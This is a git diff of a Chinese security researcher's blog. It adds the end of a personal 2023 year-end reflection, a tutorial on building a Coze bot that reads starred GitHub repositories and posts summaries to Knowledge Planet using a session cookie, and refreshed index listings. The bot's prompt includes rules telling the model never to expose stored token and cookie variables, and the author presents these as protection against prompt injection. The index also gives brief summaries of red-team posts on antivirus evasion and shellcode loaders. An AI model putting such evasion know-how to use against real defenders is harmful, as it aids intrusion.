我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。

“如果我们可以经常像朋友一样沟通,我有好多话想说。”

七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。

“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。”

八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。

“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。”

九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。

“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。”

十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。

“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。”

十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。

“没有人可以评价你,做一个自信的人,我们的文化也是一样。”

十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。

“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。”

这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。

最后

2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。

\ No newline at end of file diff --git a/archivers/2024-06-04/coze-ai/index.html b/archivers/2024-06-04/coze-ai/index.html new file mode 100644 index 0000000..e49d1ce --- /dev/null +++ b/archivers/2024-06-04/coze-ai/index.html @@ -0,0 +1,319 @@ +使用Coze平台对Github Star项目进行分析推送 - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

04 +Jun 2024

使用Coze平台对Github Star项目进行分析推送

👾实现思路

Coze有个版本,分别面向海外和国内,这里我使用海外版本

域名模型备注
coze.comGPT4o\GPT3.5\GPT4\Gemini 1.5 Pro..海外魔法
coze.cn字节云雀国内

这里不多介绍Coze平台的基本功能了,请移步官方文档:Coze - Coze 文档中心

整体实现思路如下:

  • 编写一个能够读取我自己Github Star项目的插件
  • 编写一个能够向知识星球推送文字的插件
  • 创建工作流,方便后续其他Bot调用
  • 创建一个Bot,编写Prompt,导入上述插件进行调试
  • 设置自定义交互的按钮来修改变量,增加易用性

🔧编写访问Github API的插件

为了实现能够将Github的Star项目输入给AI,首先需要编写一个插件,这个插件用于访问Github API接口:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+
import requests
+import os
+
+# 获取Github访问令牌
+GITHUB_TOKEN = os.getenv('GITHUB_TOKEN')
+headers = {
+    'Authorization': f'token {GITHUB_TOKEN}'
+}
+
+def get_starred_repos(username):
+    url = f'https://api.github.com/users/{username}/starred'
+    response = requests.get(url, headers=headers)
+    if response.status_code == 200:
+        return response.json()
+    else:
+        return []
+
+def main():
+    username = 'your-github-username'
+    starred_repos = get_starred_repos(username)
+    for repo in starred_repos:
+        print(f"项目名称: {repo['name']}")
+        print(f"项目描述: {repo['description']}")
+        print(f"项目地址: {repo['html_url']}")
+        print(f"Star数量: {repo['stargazers_count']}")
+        print('---')
+
+if __name__ == '__main__':
+    main()
+

以上是我用Prompt AI生成的示例代码,这个示例代码确实能直接拿来使用,但是还需要按照实际情况调整输入输出参数,在Coze平台中每一个插件都可以通过Metadata设定输入参数以及输入参数的数据类型,同样的也有输出参数以及输出参数的数据类型。

0

1

我在Metadata设定了这个插件输入、输出的数据格式,输入参数分别是:

参数名称参数描述
token用于访问Github API接口的Access Token
limit用于设定要取得多少个Star项目

输出参数分别是:

参数名称参数描述
description项目描述
url项目链接
stargazers_count项目Star数量
topics项目主题

但通过requests 访问API接口还是不够优雅,我找到了PyGithub这个库,对Github API封装很好,在插件依赖中直接引入了:

2

最终的插件代码如下:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+
from runtime import Args
+from typings.GetGithubStarredRepos.GetGithubStarredRepos import Input, Output
+"""
+Each file needs to export a function named `handler`. This function is the entrance to the Tool.
+
+Parameters:
+args: parameters of the entry function.
+args.input - input parameters, you can get test input value by args.input.xxx.
+args.logger - logger instance used to print logs, injected by runtime.
+
+Remember to fill in input/output in Metadata, it helps LLM to recognize and use tool.
+
+Return:
+The return data of the function, which should match the declared output parameters.
+"""
+from github import Github
+# https://pygithub.readthedocs.io/en/stable/introduction.html
+# Authentication is defined via github.Auth
+from github import Auth
+
+def handler(args: Args[Input])->Output:
+    print(args.input.username)
+    limit = args.input.limit
+    token = args.input.token
+    count = 0
+    # using an access token
+    auth = Auth.Token(token)
+
+    # First create a Github instance:
+    # Public Web Github
+    g = Github(auth=auth)
+
+    repos  = list()
+    # repo_info = {'url':'', 'description': '', 'stargazers_count': 0, 'topics': ''}
+    # https://docs.github.com/zh/rest/activity/starring?apiVersion=2022-11-28#list-repositories-starred-by-the-authenticated-user--parameters
+    starred_repos = g.get_user().get_starred()
+    # Then play with your Github objects:
+    for starred_repos in g.get_user().get_starred():
+        print("Got > " + str(count))
+        # repo_info['description'] = starred_repos.description
+        # repo_info['url'] = starred_repos.owner.url
+        # repo_info['stargazers_count'] = starred_repos.stargazers_count
+        # repo_info['topics'] = ",".join(starred_repos.topics)
+        repo_info = {
+            'url': starred_repos.owner.html_url,
+            'description': starred_repos.description,
+            'stargazers_count': starred_repos.stargazers_count,
+            'topics': ",".join(starred_repos.topics)
+        }
+        repos.append(repo_info)
+        args.logger.info(repo_info)
+        # 如果不限制,则读取全部
+        if limit == 0:
+            continue
+        count = count + 1
+        if limit == count:
+            break
+        # To close connections after use
+    g.close()
+    args.logger.info(repos)
+    return {"repos": repos}
+

在Coze平台上可以直接对插件进行测试,在Output Value日志栏目中可以看到返回的数据结构:

3

至此一个获取Github Star项目的插件就做好了。

📔编写发送知识星球帖子的插件

由于知识星球没有提供API接口,因此我使用浏览器开发者工具查看了一下请求规律,编写了如下代码:

参数参数说明
cookie知识星球Cookie
group_id知识星球的ID
content帖子内容
 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+
from runtime import Args
+from typings.send_topic.send_topic import Input, Output
+import requests
+import json
+
+def post_topics(cookie, group_id, content):
+    url = f'https://api.zsxq.com/v2/groups/{group_id}/topics'
+    headers = {
+        'Accept': 'application/json, text/plain, */*',
+        'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
+        'Content-Type': 'application/json',
+        'Cookie': cookie,
+        'Dnt': '1',
+        'Origin': 'https://wx.zsxq.com',
+        'Priority': 'u=1, i',
+        'Referer': 'https://wx.zsxq.com/',
+        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0',
+        'X-Version': '2.57.0'
+    }
+    data = {
+        'req_data': {
+            'type': 'topic',
+            'text': content,
+            'image_ids': [],
+            'file_ids': [],
+            'mentioned_user_ids': []
+        }
+    }
+
+    response = requests.post(url, headers=headers, json=data)
+    response_json = response.json()
+    return response_json
+"""
+Each file needs to export a function named `handler`. This function is the entrance to the Tool.
+
+Parameters:
+args: parameters of the entry function.
+args.input - input parameters, you can get test input value by args.input.xxx.
+args.logger - logger instance used to print logs, injected by runtime.
+
+Remember to fill in input/output in Metadata, it helps LLM to recognize and use tool.
+
+Return:
+The return data of the function, which should match the declared output parameters.
+"""
+def handler(args: Args[Input])->Output:
+    cookie = args.input.cookie
+    group_id = args.input.group_id
+    content = args.input.content
+    result = post_topics(cookie, group_id, content)
+    return {'succeeded': result['succeeded']}
+

这个插件返回的比较简单,如果成功就返回True,失败就返回False。

4

🔄创建工作流

工作流支持通过可视化的方式,对插件、大语言模型、代码块等功能进行组合,从而实现复杂、稳定的业务流程编排,例如旅行规划、报告分析等。当目标任务场景包含较多的步骤,且对输出结果的准确性、格式有严格要求时,适合配置工作流来实现。

在工作流中可以引入多种模块:

节点名称描述
LLM大语言模型节点,该节点支持选择不同的 AI 模型处理文本生成任务。
Code代码节点。通过 IDE 编写代码处理输入参数,并返回输出值。
Knowledge知识库节点。根据输入参数从关联知识库中召回数据,并返回。
Conditionif-else 逻辑节点。满足设置条件则运行 if 分支,否则运行 else 分支。
Variable变量节点。用于读取和写入 Bot 中的变量。
Plugins插件节点,能够调用Plugins Store中的所有插件

5

这里我以获取Github Star项目的工作流为例,首先每个Workflow都有一个起始节点和结束节点,结束节点可以设置返回值。

在整个工作流内,上一个节点的输入输出变量可以被下一个节点引用:

6

  • Batch processing : 可以并发执行,如果要处理一批线性的输入(例如数组),可以调用这个方式去执行。

7

🤖创建一个面向用户的Bot

Coze 利用大型语言模型极大地简化了 Bot 的搭建过程。 在充分利用大语言模型优势的同时,Coze 还支持用户通过知识库、工作流等功能来配置 Bot 如何响应用户查询,以保证 Bot 符合预期。

你可以使用 Coze 提供的以下功能,定制你的 AI Bot:

  • 人设与提示词

设定 Bot 的身份及其目标和技能,例如产品问答助手、新闻播报员、翻译助理等等。Bot 的人设和提示词决定了 Bot 如何与你的用户进行互动。

  • 插件

通过 API 连接集成各种平台和服务,扩展 Bot 能力。Coze 平台内置丰富的插件供你直接调用,你也可以创建自定义插件,将你所需要的 API 集成在 Coze 内作为插件来使用。

  • 工作流

一种用于规划和实现复杂功能逻辑的工具。你可以通过拖拽不同的任务节点来设计复杂的多步骤任务,提升 Bot 处理复杂任务的效率。

  • 记忆库

Coze 的记忆库功能可以保留和理解对话细节,并支持添加外部知识库给模型补充知识,使 Bot 与用户的互动更加有针对性和个性化。你可以通过以下方式来存储和管理外部知识。

  • 知识库:支持上传本地或线上内容,然后将这些内容分割成知识分片,通过语义匹配给模型补充知识。
  • 变量:通过 key-value 的形式来记录变量值。例如记录用户的某一偏好。
  • 数据库:用来存储和管理结构化数据,并支持用户通过自然语言方式对数据库中的数据进行增删改查。
  • 多发布渠道

Coze 支持将搭建的 Bot 发布到各种社交应用中,让你的 Bot 服务更多的用户。

  • 其他定制化功能

    • 定时任务:你可以为 Bot 添加定时任务,预定的时间条件下自动触发 Bot 向用户发送消息。
    • 开场白:设置 Bot 对话的开场语,让用户快速了解 Bot 的功能。例如 我是一个旅行助手 Bot,我能帮助你计划行程和查找旅行信息。
    • 用户问题建议:Bot 每次响应用户问题后,系统会根据上下文自动提供三个相关的问题建议给用户使用。
    • 音色:为 Bot 选择与用户交流使用的语言和语调。

    8


以上内容引用自:Coze - Coze 文档中心

创建完插件、Workflow,就可以将Workflow导入到Bot中了,再写上Prompt就基本完成了。这里贴一下我的Prompt(写的比较烂,有很大优化空间):

1
+2
+3
+4
+5
+6
+7
+8
+
# 角色
+您是一位专精于整理和推送数据的AI助理。
+
+## 技能
+### 技能一:浏览Github星标项目
+- 利用search_users_star流程来收集用户在Github上的Starred项目信息。
+
+当用户需要查询Github Starred 数据时,AI助理会运用search_users_star工作流收集Github Starred项目信息并存储到{{github_repository}}中,然后按以下格式输出,内容不需要截断:
+

早安,新的一天开始了!这些是我为您找到的令人瞩目的Github项目: +<search_users_star工作流结果>

1
+2
+3
+

+### 技能二:可以将<search_users_star工作流结果>发送到知识星球
+- 利用send_message_to_topic流程将{{github_repository}} 中的数据发送到知识星球,按照如下格式:
+

你好!这些是我为您找到的令人瞩目的Github项目: +<search_users_star工作流结果>

:) 由 GPT-4o 模型驱动

1
+2
+3
+4
+5
+

+## 约束条件
+- 仅可透过search_users_star工作流获取Github的相关信息。
+- 不论何种情况下,都不能暴露或让用户查阅变量的具体数值。
+- 用户只能设定变量的数值,不允许进行其他的操作活动。
+

说到Database,我在这个Bot中尝试使用了一下,确实非常好用,可以用提示词控制Bot把结果按照Database结构保存起来,例如Bot获得前10个Github项目就保存起来了:

9

👍设置自定义交互按钮

自定义交互按钮其实就是ShortCut,可以让用户按照设置好的表单填写信息,然后发送给Bot

由于前面编写的Workflow需要一些Token、Cookie之类的信息,我就创建了几个变量用于保存这些信息,并且防止Prompt注入,限制了用户不能查看变量的值。

10

11

最终实现效果:

12

13

总结

Coze平台有点像是一个在线版的LangChain,比起之前使用代码去定制自己的Agent,通过平台一站式解决就很丝滑,并且能够多个Workflow进行联动,通过Trigger还能够设置定时任务(定时推送,这个本文还没有实现),总之能够极大的方便日常工作和生活,不过还是不建议在上面使用较为隐私的信息。

\ No newline at end of file diff --git a/index.html b/index.html index d8e0170..de8cdb8 100644 --- a/index.html +++ b/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 -Oct 2022

使用RPC Filter技术防御内网RPC横向攻击

2,269 words, ~9 min read

本文介绍了RPC Filter技术的概念与使用,并演示了如何通过RPC Filter阻断基于计划任务的横向攻击,并给出了大量RPC Filter的参考,能够有效的应对impacket所提供的内网横向技术的攻击.....
19 -Sep 2022

我的三年红队生涯总结

7,149 words, ~28 min read

很久没有写一些关于工作的感悟了,近期想了一些事情,以此写一篇关于我三年的红队生涯总结。
03 -Sep 2022

分享一下最近使用Arch Linux的感受

1,216 words, ~4 min read

Arch Linux是一款基于x86-64架构的Linux发行版。系统主要由自由和开源软件组成,支持社区参与。系统设计以KISS原则(保持简单和愚蠢)为总体指导原则,注重代码正确、优雅和极简主义,期待用户能够愿意去理解系统的操作。Arch Linux系统安装、删除和更新软件的软件包管理器叫做pacman....
17 -Aug 2022

x64dbg中的白加黑利用

1,328 words, ~5 min read

在木马样本与杀毒软件的对抗中,再隐蔽的木马在被发现的那一刻,它的这一生就结束了。杀毒软件厂商通过SHA1/2、MD5等算法取得样本的唯一值来构建云端的特征库,当下一次攻击发生时,将会通过特征库进行比对,因此成本对抗不言而喻,红队的木马需要重新修改、编译,大大增加了对抗的时间、精力,这就是威胁情报的一种价值。反观有些软件确实会需要开发一些敏感行为的功能,如修改注册表、屏幕录像截图但这些是用户知情且授权的行为,这时杀毒软件再进行拦截的话,将大大降低软件使用的体验,所以出现了软件签名技术可以解决这类问题,当然软件签名技术不仅仅是为了只解决这一个问题而出现的....
11 -Aug 2022

通过动态链接库绕过反病毒软件Hook - Break JVM

4,042 words, ~16 min read

通常情况下获得Java Webshell碰到数字杀毒的场景居多,在这个环境中经常会遇到无法执行命令或命令被拦截的情况,很多小伙伴遇到这个问题就劝退了,我猜测是有一套进程链的检测方式导致了命令无法执行,于是去查看Java的文档,查阅到Java能够加载动态链接库且能够执行动态链接库中的代码,本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截.....
04 -Mar 2022

通过Windows RPC批量寻找“出网”机器

1,463 words, ~5 min read

在获取内网通用口令的情景下,如何从大量的主机中寻找可以访问互联网的据点作为守控的高地?
01 -Mar 2022

利用NPM仓库充当文件托管服务

784 words, ~3 min read

NPM是随同NodeJS一起安装的包管理工具,NPM可以通过NPM的源下载安装源上发布的JS代码,本文将使用NPM进行托管文件到NPM源,方便文件进行传输、下载。
16 -Feb 2022

静态恶意代码逃逸(第十一课)- 汇编语言编写Shellcode加载器

3,181 words, ~12 min read

本节课详细的介绍Shellcode编写的原理、过程,以及使用NASM完成Shellcode加载器的编写,中间穿插了Windows PEB相关的基础知识。
01 -Dec 2021

某系统 - Java Filter内部反射功能完成远程代码执行

2,009 words, ~8 min read

在代码审计的过程中,梳理了一个某系统的漏洞,自己实现了一个大致的漏洞环境,记录一下过程。
23 -Nov 2021

MacOS任务计划

687 words, ~2 min read

使用launchctl注册喝水任务
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

04 +Jun 2024

使用Coze平台对Github Star项目进行分析推送

2,582 words, ~10 min read

在这篇文章中,我将介绍如何使用Coze平台开发一个Bot来读取Github Star项目,并输出分析结果推送到知识星球。
29 +Dec 2023

2023年终总结 - 你好2024!

5,093 words, ~20 min read

2023年转眼过去,好像2022年-2023年很少写一写总结了,心血来潮给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会介绍一下这两年以来自己做的一些事情和成长。
31 +Oct 2023

需要保持的几个好习惯

1,062 words, ~4 min read

在这里我梳理一些工作和生活需要保持的几个好习惯,用于时刻提醒自己继续保持。
18 +Sep 2023

某安全数据交换系统的漏洞挖掘

2,113 words, ~8 min read

本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。
18 +Sep 2023

邮件钓鱼与T1218.001

769 words, ~3 min read

今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。
08 +Sep 2023

VsCode扩展中的DLL注入器

405 words, ~1 min read

早上 @Akkuman 说看到Vsocde中的扩展目录中有疑似签名过的DLL注入器,遂记录一下。
10 +Aug 2023

红队行动守则

1,283 words, ~5 min read

这篇文章是收集了多数红队在进行红队行动的经验之谈,由于工作发展原因,不再继续红队相关的工作,因此决定分享出来。
07 +Aug 2023

记录一下配置Clash透明代理

606 words, ~2 min read

日常办公和上网需要挂不同的代理,切换起来有点麻烦,所以记录一下配置Clash透明代理的流水账
23 +Jul 2023

使用Appveyor构建VS项目-快速编译

1,640 words, ~6 min read

在工作中经常会看到一些做的比较好的C++开源项目,但是作者没有编写CI/CD去构建项目,发布Release版本的二进制文件,因此需要自己手动编译,但有时候又是临时的环境,还需要安装Visual Studio之类的IDE来构建,比较麻烦,因此appveyor可以支持各类语言的构建环境,只需要在网页上就可以发布二进制程序,解决了本地安装开发环境的痛点。
19 +Jul 2023

常用软件记录

745 words, ~2 min read

本文记录一下常用的软件以及下载地址
\ No newline at end of file diff --git a/index.xml b/index.xml index 6554d70..d285d01 100644 --- a/index.xml +++ b/index.xml @@ -1,4 +1,92 @@ -倾旋的博客https://payloads.online/Recent content on 倾旋的博客Hugozh-cn倾旋 All rights reservedSun, 23 Oct 2022 00:00:00 +0000使用RPC Filter技术防御内网RPC横向攻击https://payloads.online/archivers/2022-10-23/1/Sun, 23 Oct 2022 00:00:00 +0000https://payloads.online/archivers/2022-10-23/1/前言 Impacket工具包中所包含的内网横向技术大多都是依赖于RPC协议的,但对于RPC协议的攻击防御除了网络流量侧的检测识别以外,还可以通过Windows 内置的WFP(Windows Filtering Platform)技术。 +倾旋的博客https://payloads.online/Recent content on 倾旋的博客Hugozh-cn倾旋 All rights reservedTue, 04 Jun 2024 00:00:00 +0000使用Coze平台对Github Star项目进行分析推送https://payloads.online/archivers/2024-06-04/coze-ai/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/archivers/2024-06-04/coze-ai/👾实现思路 Coze有个版本,分别面向海外和国内,这里我使用海外版本 +域名 模型 备注 coze.com GPT4o\GPT3.5\GPT4\Gemini 1.5 Pro.. 海外魔法 coze.cn 字节云雀 国内 这里不多介绍Coze平台的基本功能了,请移步官方文档:Coze - Coze 文档中心 +整体实现思路如下: +编写一个能够读取我自己Github Star项目的插件 编写一个能够向知识星球推送文字的插件 创建工作流,方便后续其他Bot调用 创建一个Bot,编写Prompt,导入上述插件进行调试 设置自定义交互的按钮来修改变量,增加易用性 🔧编写访问Github API的插件 为了实现能够将Github的Star项目输入给AI,首先需要编写一个插件,这个插件用于访问Github API接口: +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import os # 获取Github访问令牌 GITHUB_TOKEN = os.getenv(&#39;GITHUB_TOKEN&#39;) headers = { &#39;Authorization&#39;: f&#39;token {GITHUB_TOKEN}&#39; } def get_starred_repos(username): url = f&#39;https://api.2023年终总结 - 你好2024!https://payloads.online/archivers/2023-12-29/year-end-summary/Fri, 29 Dec 2023 00:00:00 +0000https://payloads.online/archivers/2023-12-29/year-end-summary/前言 2023年转眼过去,好像2022年-2023年很少写总结了,心血来潮在元旦来临之前花了一些时间给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会总结一下这近两年以来自己做的一些事情和成长。 +在上周末看到阮老师的周刊的标题:科技爱好者周刊(第 283 期):[年终感想] 没有目的地,向前走,主要内容为BaseCamp 公司创始人 Jason Fried 的一篇短文提到“我做事,我尝试,我建造,我想要取得进步,我想让我做的东西使得自己、使得公司、使得家庭、使得社会变得更好。但我从未设定过目标。这不是我做事的方式。”看完这篇短文,思考了一下好像我也没有什么确切具体的目标,虽说确切具体的目标对于个人来说是会起到激励的作用,但这一年我对自己的要求没有以往那么苛刻了,在这种状态下收获了很多从未有过的体验。 +2023这一年的工作感想 2022年做了许多重大的决定,其中对生活节奏影响较大的就是换了一份工作,由红队研究员的身份转向一个对安全运营视角进行有效性验证的安全研究员,大概是2022年9月底从老东家离职,写了一篇《我的三年红队生涯总结》宣告自己的红队工作告一段落,开始拥抱新的视角,拓展更广的视野,对安全工作的理解也慢慢发生改变。起初刚加入创业公司,节奏还是能够快速适应的,首先就是工作的交付形式开始转变,从项目的阶段性成果转变成产品相关的测试用例、新技术的调研与应用、与头部企业的安全负责人交流实践经验等等,做产品和做业务有很大的区别,产品功需要更加精细化,对每个功能的要求都应当非常高,才会产生价值,是一个需要内心始终与用户对话的工作形式,所有的产品最初都需要打磨,都需要反馈才能变得更好,这个过程对比此前进行的项目交付,显得节奏感慢了很多,而项目是一个短周期、阶段性的事务。 +再者就是参与到产品的建设中经常可以获得一些正反馈,这是我的动力源,应用的每个技术方案都会通过更新流转到每个用户面前,类比于红队获取了一个目标权限等同。在前几个月的时候,和前辈聊天提到“对手”这个词,前辈说我现在没有对手了,没有对手就会影响到一个人的动力,以往的环境是天天有竞争的,红蓝队伍的对抗,一场场攻防演练,一个个排名,外部的对手数不胜数,所以每次竞争后都会变得更有力量,而现在需要从自身寻找对手,这个对手就是自己,从头梳理自己对企业安全建设的理解,去学习别人的最佳实践,思考事物为何如此发展,善用平台的资源和力量。 +入职后先后接手了终端安全验证、勒索软件验证、AD域安全验证、RASP验证,重新设计了很多次不同验证方向的闭环方案,也接触了何谓“有效性验证”、何谓“安全能力验证”,如果用一句话概括我做的事情就是:“企业先有安全建设,后有安全运营,安全建设积累安全能力,安全运营积累最佳实践,验证安全能力提高安全建设水平,验证安全运营有效性提升实践能力。“ +其实我的大部分时间不只是在做攻击模拟,而是在建立反向验证的思维逻辑,以及应用/研究一套可行性较高、成本较低的验证方案。举例终端安全来说,验证的维度其实非常广,覆盖了ATT&amp;CK矩阵的大部分技术项,而从终端安全防御视角来看,大部分攻击都可以通过操作系统遥测事件输入威胁识别模型识别哪些命令、行为是攻击从而分析出来终端是否受到了攻击。攻击模拟就是在不影响系统安全性的情况下完成一次或多次的攻击回放,回放技术做的越好、越真实、越能体现归因(这个攻击被检测了吗?被谁检测的?响应时间多长?若不能检测,该如何检测),价值就越大,这里摸爬滚打一路过来遇到很多难点就不展开陈述了。 +总的来说,建立反向验证思维,可以让安全工作做的更可信,更容易量化分析。在我设计好一套验证方案后,输出的验证结果反应出了安全能力的很多问题,这些是我以往在红队视角无法想象的,可能是攻击特征很明显的命令,某安全产品竟然没有告警?还有的时候想去验证一些自己的Bypass思路,发现有的安全产品也无法检测,终于真正站在一个中立视角、科学的验证安全能力。 +在今年工作的最后的一天,同事发来了一个“MBI-GS职业倦怠量表“,经过测试我得到了23分的结果,工作状态良好。 +什么是工作倦怠 +“职业倦怠症”又称“职业枯竭症”,它是一种由工作引发的心理枯竭现象,是上班族在工作的重压之下所体验到的身心俱疲、能量被耗尽的感觉,这和肉体的疲倦劳累是不一样的,而是缘自心理的疲乏。 +工作倦怠方面最权威、最常用的量表——MBI-GS(Maslach Burnout Inventory-General Survey)。2002年,李超平获得该问卷开发者Michael Leiter教授的授权,在国内修订MBI-GS。结果表明:该量表在国内具有较好的信度和效度。该量表包括三部分:情绪衰竭(Emotional Exhaustion)、玩世不恭(Cynicism)和成就感低落(Reduced Personal Accomplishment)。情绪衰竭分量表包括5道题,玩世不恭分量表包括5道题,成就感低落分量表包括6道题,整个问卷共16道题。该量表采用利克特7分等级量表,0代表“从不”,6代表“非常频繁”。 +在做这个问卷的过程中,有很多或者几乎都是,需要从自身的工作感受出发进行作答的问题,以前和朋友、领导多少都发表过对于一份工作的观点,在不同时间的节点,我都会思考做事的意义,在抓住能让自己变得更好的前提下,总能得到正向的反馈,这种感觉可以持续推动我成长下去。 +2023这一年的生活感想 今年经历太多无法言说的事情了,我始终抱着过去发生的、经历的,总能成为将来自己的一部分,让我带着它继续的走向明天。这一年认识了新朋友,接触了很多不一样的观点,觉得自己人生的岁岁年年真的才刚开始,我开始阅读更多类别的书籍、尝试不一样的食物、锻炼自己的身体、掌控自己的时间,也学会适当的放松自己、爱自己,以一个旁观者的身份回顾自己,用今天的经验去总结过去某个时刻的自己所做出的选择,然后再回到现实中,感受都会无比通透,让所经历的苦难、快乐能真正成为自己的一部分。 +我经常会担心忘记自己某天某时某刻某地所见所闻所想,能够引起我情绪波动的事物我都会放开自己的去感受它,这样对比起曾经的自己变化还是挺大的。 +下面回顾我这一年的每个月,我都写了一句送给自己的话。 +一月份,在新疆过了农历新年,排除疫情的两年以外,与往年一样,吃了许多新疆美食,家人也想让我多吃一点,总担心我一个人在外面吃得不好,穿的不好。在今年过生日之前,我对于至亲总会离去这件事感觉很遥远,虽然没有发生,但人总会经历,记得在网上看到过,有些男人可能一夜就会长大。 +“其实我很好,只是回到家里,我好像无法褪去孩子的身份与模样,超幸福的。” +二月份,去见了北京的老朋友,郭师傅还是一样我没变,他也没变。突然发现我有一个特质,就是朋友一开始认识我时是什么样,不管多久,见到我时我还是始终一样。简单跟郭师傅学习了单反的使用,原来摄影这件事也很酷,我好像还没有很多其他的爱好。 +“羡慕有许多爱好的人,在不喜欢工作的时候可以通过其他爱好补充能量。” +三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。 +“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。” 